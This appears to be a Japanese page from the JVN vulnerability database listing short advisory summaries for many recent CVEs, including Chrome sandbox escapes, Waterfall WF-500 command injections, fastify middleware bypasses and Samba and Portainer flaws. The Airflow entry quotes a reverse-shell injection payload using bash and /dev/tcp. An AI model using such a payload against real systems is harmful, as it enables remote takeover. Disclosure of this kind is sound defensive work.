脆弱性情報（JVN）検索・一覧

MacのGoogle Chromeバージョン148.0.7778.216以前のBaseにおいてUse after freeの脆弱性が存在し、これによりリモートの攻撃者が細工されたHTMLページを介してサンドボックスから脱出する可能性がありました。

Google Chrome の 148.0.7778.216 より前のバージョンの Tint における不適切な実装により、リモート攻撃者が細工された HTML ページを介してサンドボックスから脱出する可能性がありました。

Google Chrome 148.0.7778.216より前のバージョンにおいて、GPUの境界外書き込みの脆弱性により、リモートの攻撃者が細工されたHTMLページを利用してサンドボックスから脱出できる可能性がありました。

Synology DiskStation Manager (DSM) のバージョン7.2.2-72806-5より前および7.3.1-86003-1より前（7.2.1-69057は影響を受けません）において、SSOの異常や例外的な条件を不適切にチェックする脆弱性が存在します。この脆弱性により、リモートの攻撃者が識別名（DN）を事前に知っている場合、認証を回避できる可能性があります。

認証されていないユーザーが特定の場合に Sparx Pro Cloud Server のデータベースで任意のSQLコマンドを実行することができる脆弱性です。

Garmin WDU（v1 1.4.6およびv2 5.0）のローカルで提供されるウェブサイトは、クロスサイトオリジンのWebSocketハイジャック攻撃を許容します。WDUはWebSocketを利用して設定を行い、特に管理設定の制御をしています。これにより、ネットワーク攻撃者がWDUを完全に制御できるようになります。この脆弱性を悪用するためには、被害者が(1)Garmin Marine Networkおよび別のネットワークのローカルインターフェースを持つマルチホームホスト上のウェブブラウザを使用し、かつ(2)攻撃者によって作成された悪意のある第三者のウェブサイトにアクセスする必要があります。

IBM Cloud Pak for Data System - Cyclops 11.3.0.2からInterim Fix 002までのIBM Cloud Pak for Data SystemにはSQLインジェクションの脆弱性が存在します。リモートの攻撃者が特別に細工されたSQL文を送信することで、バックエンドのデータベース内の情報を閲覧、追加、変更、または削除できる可能性があります。

Nozomi Networks Labsは、バージョン7.9.1.0 R2502171040のWaterfall WF-500 TXおよびRXホストの管理WebUIにおいて、CWE-23：相対パス・トラバーサルの脆弱性を特定しました。これにより、リモートの認証されていない攻撃者がホストマシン上の任意のファイルを削除できる可能性があります。

Nozomi Networks Labsは、Waterfall WF-500 TXおよびRXホストのバージョン7.9.1.0 R2502171040のコンソールWebUIにおいて、CWE-78: OSコマンドに使用される特殊要素の不適切な無効化（「OSコマンドインジェクション」）の脆弱性を特定しました。これにより、リモートの認証されていない攻撃者がデバイス上で任意のオペレーティングシステムコマンドを実行できる可能性があります。

Nozomi Networks Labsは、バージョン7.9.1.0 R2502171040のWaterfall WF-500 TXおよびRXホストのコンソールWebUIにおいて、CWE-78: OSコマンドで使用される特殊要素の不適切な無害化（OSコマンドインジェクション）を特定しました。これにより、リモートの未認証攻撃者がデバイス上で任意のオペレーティングシステムコマンドを実行できるようになります。

Nozomi Networks Labsは、バージョン7.9.1.0 R2502171040のWaterfall WF-500 TXおよびRXホストのコンソールWebUIにおいて、CWE-78: OSコマンドで使用される特殊文字の不適切な無効化（OSコマンドインジェクション）を特定しました。これにより、リモートの未認証攻撃者がデバイス上で任意のオペレーティングシステムコマンドを実行できる可能性があります。

Nozomi Networks Labsは、バージョン7.9.1.0 R2502171040のWaterfall WF-500 TXおよびRXホストのコンソールWebUIにおいて、CWE-288: 代替パスまたはチャネルを使用した認証バイパスの脆弱性を特定しました。これにより、リモートの未認証攻撃者がコンソールWebアプリケーションの認証を回避し、認証済みユーザーとして操作を行うことが可能になります。

Nozomi Networks Labsは、Waterfall WF-500 TXおよびRXホストのバージョン7.9.1.0 R2502171040のコンソールWebUIにおいて、CWE-78に該当するOSコマンドで使用される特殊文字の不適切な中和（「OSコマンドインジェクション」）の脆弱性を特定しました。これにより、リモートの認証されていない攻撃者がデバイス上で任意のオペレーティングシステムコマンドを実行できる可能性があります。

Nozomi Networks Labsは、バージョン7.9.1.0 R2502171040のWaterfall WF-500 TXおよびRXホストのConsole WebUIにおいて、CWE-78：OSコマンドで使用される特殊要素の不適切な無効化（「OSコマンドインジェクション」）の脆弱性を特定しました。これにより、リモートの認証されていない攻撃者がデバイス上で任意のオペレーティングシステムコマンドを実行できる可能性があります。

Nozomi Networks Labsは、Waterfall WF-500 TXおよびRXホストのバージョン7.9.1.0 R2502171040のコンソールWebUIにおいて、CWE-78に該当するOSコマンドで使用される特殊文字の不適切な中和（OSコマンドインジェクション）を特定しました。これにより、リモートの認証されていない攻撃者がデバイス上で任意のオペレーティングシステムコマンドを実行できる可能性があります。

Nozomi Networks Labs は、Waterfall WF-500 TX および RX ホストのバージョン 7.9.1.0 R2502171040 のコンソール WebUI において、CWE-78: OS コマンドで使用される特殊要素の不適切な中和（いわゆる「OS コマンドインジェクション」）の脆弱性を特定しました。これにより、リモートの未認証攻撃者がデバイス上で任意のオペレーティングシステムコマンドを実行できる可能性があります。

Stackfield Desktop Appのバージョン1.10.2以前のmacOSおよびWindows版には、ファイルパスプロパティを処理する特定の復号化機能にパストラバーサルの脆弱性があります。悪意のあるエクスポートによって、被害者のファイルシステム上の任意のパスに任意の内容を書き込むことが可能です。

@fastify/express v4.0.4およびそれ以前のバージョンには、onRegister関数にパス処理のバグがあり、子プラグインに継承される際にミドルウェアのパスが二重になる問題があります。子プラグインがミドルウェアのパスと一致するプレフィックスで登録されると、ミドルウェアのパスに二重にプレフィックスが付与され、その結果、受信リクエストと一致しなくなります。そのため、影響を受ける子プラグインスコープ内で定義されたすべてのルートに対して、認証、認可、レート制限を含むExpressミドルウェアのセキュリティ制御が完全にバイパスされます。特別な設定やリクエストの細工は不要です。@fastify/express v4.0.5以降へのアップグレードを推奨します。

fastify/expressのv4.0.4以前のバージョンには、Fastifyルーターの正規化オプションが有効な場合にExpressミドルウェアに渡す前にURLを正規化しない問題があります。これにより、ignoreDuplicateSlashesが有効な場合は重複スラッシュを利用し、useSemicolonDelimiterが有効な場合はセミコロン区切り文字を利用して、パススコープの認証ミドルウェアを完全に回避できる可能性があります。どちらの場合も、FastifyルーターはURLを正規化してルートにマッチさせますが、@fastify/expressは元の正規化されていないURLをExpressミドルウェアに渡すため、マッチングに失敗してスキップされます。これにより、認証されていない攻撃者がURLパスを操作して保護されたルートにアクセスできます。対策としては、@fastify/expressをv4.0.5以降にアップグレードしてください。

Ruby LSPはRuby用の言語サーバープロトコルの実装です。Shopify.ruby-lspバージョン0.10.2およびruby-lspバージョン0.26.9以前のバージョンでは、rubyLsp.branchのVS Codeワークスペース設定が生成されたGemfileにサニタイズなしで挿入されていました。そのため、悪意のある.vscode/settings.jsonを含むプロジェクトをユーザーが開くと、任意のRubyコードが実行される可能性がありました。この問題はShopify.ruby-lspバージョン0.10.2およびruby-lspバージョン0.26.9で修正されました。

Cr*nMaster (cronmaster) は、人間が読みやすい構文、ライブログ機能およびcronジョブのログ履歴を備えたCronジョブ管理用のUIです。バージョン2.2.0以前では、ミドルウェアの認証バイパスにより、無効なセッションクッキーを持つ未認証のリクエストがミドルウェアのセッション検証取得に失敗した場合にも認証済みとして扱われることがありました。これにより、保護されたページへの不正アクセスや特権付きのNext.jsサーバーアクションの不正実行が発生する可能性がありました。この問題はバージョン2.2.0で修正されています。

SonicverseはライブラジオストリーミングのためのセルフホステッドDocker Composeスタックです。Sonicverse Radio Audio Streaming Stackのダッシュボードには、APIクライアント(apps/dashboard/lib/api.ts)にサーバーサイドリクエストフォージェリ（SSRF）の脆弱性があります。提供されているinstall.shスクリプト（およびbash (curl -fsSL https://sonicverse.short.gy/install-audiostack)のワンライナーを使用して作成されたインストール）が影響を受けます。これらのデプロイメントでは、ダッシュボードがユーザー制御のURLを受け入れ、十分な検証を行わずにサーバーサイドのHTTPクライアントに直接渡しています。認証されたオペレーターはこれを悪用して、ダッシュボードのバックエンドから内部または外部のシステムへの任意のHTTPリクエストを発行できます。この脆弱性はコミットcb1ddbacafcb441549fe87d3eeabdb6a085325e4で修正されました。

Velocity.jsはApache VelocityテンプレートエンジンのJavaScript実装です。バージョン2.1.5およびそれ以前のバージョンにおいて、velocityjsにプロトタイプ汚染の脆弱性が発見されました。この問題は、Velocityテンプレート内の#setディレクティブの処理中に発生します。攻撃者が制御するテンプレートをアプリケーションがレンダリングする場合、Object.prototypeを変更でき、その結果、サーバー環境に応じてサービス拒否（DoS）やリモートコード実行（RCE）を引き起こす可能性があります。

pymetasploit3のバージョン1.0.6までのconsole.run_module_with_output()におけるコマンドインジェクションの脆弱性により、攻撃者はRHOSTSなどのモジュールオプションに改行文字を挿入できます。これにより、意図されたコマンド構造が破壊され、Metasploitコンソールが追加の意図しないコマンドを実行してしまい、任意のコマンドを実行したりMetasploitセッションを操作したりする可能性があります。

LinuxおよびWindows上のsyslink software AG Avantraにおいて、セッションの期限が不十分に切れる脆弱性が存在し、これによりセッションIDを再利用（セッションリプレイとも呼ばれる）できる可能性があります。この問題はAvantraのバージョン25.3.1より前のバージョンに影響を与えます。

LinuxおよびWindows上のsyslink software AG Avantraにおいて、認証情報が保護されない状態で送信される脆弱性が存在し、これにより盗聴攻撃が可能になります。この問題はAvantraのバージョン25.3.0より前のバージョンに影響を与えます。

libcoap は、OSCORE 付録 B.2 の CBOR アンラップ処理において、src/oscore/oscore_cbor.c 内の get_byte_inc() が境界チェックに assert() のみを使用しています。NDEBUG でコンパイルされたリリースビルドではこれが削除されるため、範囲外読み取りの脆弱性が含まれています。攻撃者は、OSCORE ネゴシエーション中に不正な OSCORE オプションやレスポンスを含む細工された CoAP リクエストを送信することで、CBOR パース中に範囲外読み取りを引き起こす可能性があります。また、割り当てサイズ計算時の整数オーバーフローを介して範囲外読み取りを発生させる可能性もあります。

悪意のあるSSHピアが未承諾のグローバルリクエスト応答を送信すると、内部バッファが満たされて接続の読み取りループがブロックされる可能性があります。ブロックされたゴルーチンはClose()を呼び出しても解放されず、接続ごとにリソースリークが発生します。現在、未承諾のグローバル応答は破棄されています。

FIDO/U2Fセキュリティキータイプ（sk-ecdsa-sha2-nistp256@openssh.com、sk-ssh-ed25519@openssh.com）のVerify()メソッドは、ユーザーの存在フラグを確認していませんでした。物理的なタッチなしで生成された署名が受け入れられたため、ハードウェアセキュリティキーを無人で使用可能となっていました。以前の動作を復元するには、PublicKeyCallbackのPermissions.Extensionsに「no-touch-required」拡張を返す必要があります。

SamsungオープンソースEscargotにおける互換性のない型（「型混同」）の使用による脆弱性により、ポインタ操作が可能となります。この問題はEscargotのバージョン97e8115ab1110bc502b4b5e4a0c689a71520d335に影響を与えます。

Apache Airflowの公式ドキュメントのcore-concepts/dag-run.html（「Dagsトリガー時のパラメータ渡し」）において、引用符やサニタイズの警告なしに、そのままの形でBashOperator(bash_command="echo value: {{dag_run.conf['conf1']}}")という例が示されていました。このパターンを、影響を受けるDagに対してユーザーがDag.can_trigger権限を持つ環境（典型的なマルチチーム環境やトリガーAPIを公開するホスティング環境）にそのままコピーした場合、トリガーAPIのconfフィールドを介したシェルのメタ文字列インジェクションに晒される可能性がありました。このため、認証されたトリガーユーザーがconf値として"; bash -i & /dev/tcp/.../9999 0&1; #"を渡すことで、ワーカー上でos.execが実行されてしまう恐れがありました。本CVEはapache/airflowのPR64129におけるドキュメント修正を対象としており、ドキュメント例のパターンには明示的なシェル用の引用符付けと安全上の注意が追加されました。修正前のドキュメント例を元にしたDagコードを使用するデプロイメントに影響がありました。この問題は同種のドキュメントパターン修正の一環であり、ユーザーは修正済みドキュメントを含むapache-airflowバージョン3.2.2以降へのアップグレードを推奨します。

PostizはAIを活用したソーシャルメディアのスケジューリングツールです。コミットda44801以前には、Build and Publish PR Docker Imageワークフロー（.github/workflows/pr-docker-build.yml）に「Pwn Request」脆弱性が存在していました。この脆弱性により、認証されていないユーザーがDockerビルドプロセス中に任意のコードを実行し、高権限を持つGITHUB_TOKEN（すべて書き込み権限）を漏洩させることが可能でした。この攻撃は、マルウェアで改ざんされたDockerfile.devを含むフォークからプルリクエストを作成するだけで実行できます。この問題はコミットda44801によって修正されました。

jupyterlabは、Jupyter Notebookアーキテクチャに基づく、インタラクティブで再現可能な計算のための拡張可能な環境です。4.5.7未満のバージョンでは、JupyterLabのHTMLサニタイザはbutton要素に対してdata-commandlinker-commandおよびdata-commandlinker-argsを許可リストに含めていますが、CommandLinkerはdocument.body上のすべてのクリックイベントを監視し、要素が信頼されたJupyterLab UIからのものであるかどうかを確認せずに指定されたコマンドを実行します。事前に保存されたHTMLセル出力に不正なボタンが含まれているノートブックは、ユーザーがコードの実行を申請しなくても、単一のクリックで任意のJupyterLabコマンド（任意のコード実行を含む）をトリガーする可能性があります。この脆弱性は4.5.7で修正されています。

Linuxカーネルにおいて、以下の脆弱性が修正されました。net: ioam6に関する範囲外アクセス（OOB）および不足していたロックの修正です。trace-type.bit6が設定されている場合、is_inputがtrueのときにdev-_tx[]配列の範囲外アクセスが発生する可能性があります。パケットは受信パス上にあり、skb-queue_mappingはイングレスデバイスの受信キューのインデックスを示します。イングレスデバイスの受信キュー数がエグレスデバイス（dev）の送信キュー数より多い場合、skb_get_queue_mapping(skb)はdev-num_tx_queuesを超えることがあります。skb_get_tx_queue()はインデックスの制限を行わないため、この状況を防ぐためのチェックを追加しました。この問題はキューごとの可視性が正確でないことを明らかにし、将来的に新機能で置き換えられる予定です。また、qdisc_qstats_qlen_backlog()の周囲に不足していたロックも追加しました。__ioam6_fill_trace_data()関数はsoftirqとプロセスコンテキストの両方から呼び出されるため、ここでspin_lock_bh()を使用しています。

MailEnable Enterprise Premium 10.55およびそれ以前のバージョンには、WebAdminモバイルポータルに不適切な認証許可の脆弱性があります。この脆弱性により、攻撃者は低権限ユーザー向けに生成されたAuthenticationTokenクッキーを再利用して認証チェックを回避できます。攻撃者はPersistentLoginパラメーターを使用してWebMailログインエンドポイントからトークンを取得し、それをWebAdminポータルに対してリプレイし、高度な権限を持つ管理操作を実行できます。

Sambaの印刷サブシステムに欠陥が見つかりました。Sambaは「print command」設定で構成されたコマンドに対し、クライアントが制御するジョブ説明文字列を「%J」置換文字を通じてシェルのメタ文字をエスケープせずに渡します。遠隔の攻撃者は、エスケープされていないシェル文字を含む特別に細工された印刷ジョブ説明を送信することで、この脆弱性を悪用できます。これにより、影響を受けるシステムでリモートコードが実行される恐れがあります。

Apache Solr のバージョン9.4.0から9.10.1および10.0.0において、Basic Authentication 設定ツール（bin/solr auth enable）にハードコードされた認証情報が存在します。このため、リモートの攻撃者がユーザー指定のアカウントを使い、公開されている既知のデフォルト認証情報を利用してクラスタに対して完全な管理アクセスを取得する可能性があります。すぐに対処するためには、アップグレードをしなくてもsecurity.jsonからテンプレートユーザー（superadmin、admin、search、index）を削除するか、パスワードを変更してください。将来リリースされるバージョン9.11.0および10.1.0ではこの脆弱性が修正されており、アップグレードするだけで問題が解決します。影響を受けない場合は、bin/solr auth enableを使用してBasicAuthをブートストラップしていないクラスタ、またはブートストラップ後にテンプレートユーザーに強力なパスワードが設定されているクラスタです。

Portainer Community Editionは、Docker、Swarm、Kubernetes、およびACI環境を管理するために使用できるコンテナ化アプリケーション向けの軽量なサービス配信プラットフォームです。バージョン2.33.0から2.33.8未満、2.39.2、および2.41.0までのPortainerは、Gitリポジトリからスタックをデプロイすることをサポートしています。Gitバックのスタックが作成または更新されると、Portainerはgo-git v5を使用してリポジトリをクローンしますが、この際、モード0o120000（シンボリックリンク）のGitブロブエントリを、os.Symlinkを介してホストファイルシステム上の実際のOSシンボリックリンクに変換します。.gitmodulesだけがシンボリックリンクになることをブロックされますが、他のすべてのパスは検証なしにシンボリックリンクとして作成されます。PortainerのGET /api/stacks/{id}/fileエンドポイントはその後、os.ReadFileを使ってスタックのエントリポイントを読み取り、これはOSのシンボリックリンクを透過的に辿ります。docker-compose.ymlを任意のファイルシステムパスへのシンボリックリンクとして含むリポジトリは、そのシンボリックリンクのターゲットの内容がHTTPレスポンスでそのまま返される原因となります。Gitバックのスタックを作成または更新する権限を持つ認証済みユーザー（Portainer CEのデフォルト設定）は、Portainerプロセスがアクセス可能な任意のファイルを読み取ることができます。この脆弱性はバージョン2.33.8、2.39.2、および2.41.0で修正されています。

cpp-httplibは、C++11で書かれた単一ファイルのヘッダーオンリーでクロスプラットフォーム対応のHTTP/HTTPSライブラリです。バージョン0.44.0以前では、cpp-httplibのサーバーが受信リクエストを解析する際に、LocationおよびRefererを除くすべてのヘッダー値に対してパーセントデコードを適用していました。妥当性チェック（is_field_value）はデコード前に実行されるため、エンコードされた%0D%0Aがチェックを通過し、その後格納されるヘッダー値内で実際の改行コードに展開されてしまう脆弱性がありました。この問題はバージョン0.44.0で修正されました。

FreeRDPはリモートデスクトッププロトコルの無料実装です。バージョン3.26.0以前のFreeRDPのプラナービットマップデコーダーには、RLEプラナーデータのデコード時にヒープの境界外書き込みが発生する脆弱性が存在します。libfreerdp/codec/planar.c内のfreerdp_bitmap_decompress_planar()関数は、呼び出し元が提供する宛先ストライド(nDstStep)に対してX方向の宛先座標nXDstを検証していますが、内部の一時バッファpTempDataに書き込む際にも同様の検証を行っています。このチェックは大きなnDstStepと大きなnXDstを使うことで回避可能であり、その結果planar_decompress_plane_rle()がpTempDataの末尾を越えて書き込んでしまいます。この脆弱性はバージョン3.26.0で修正されました。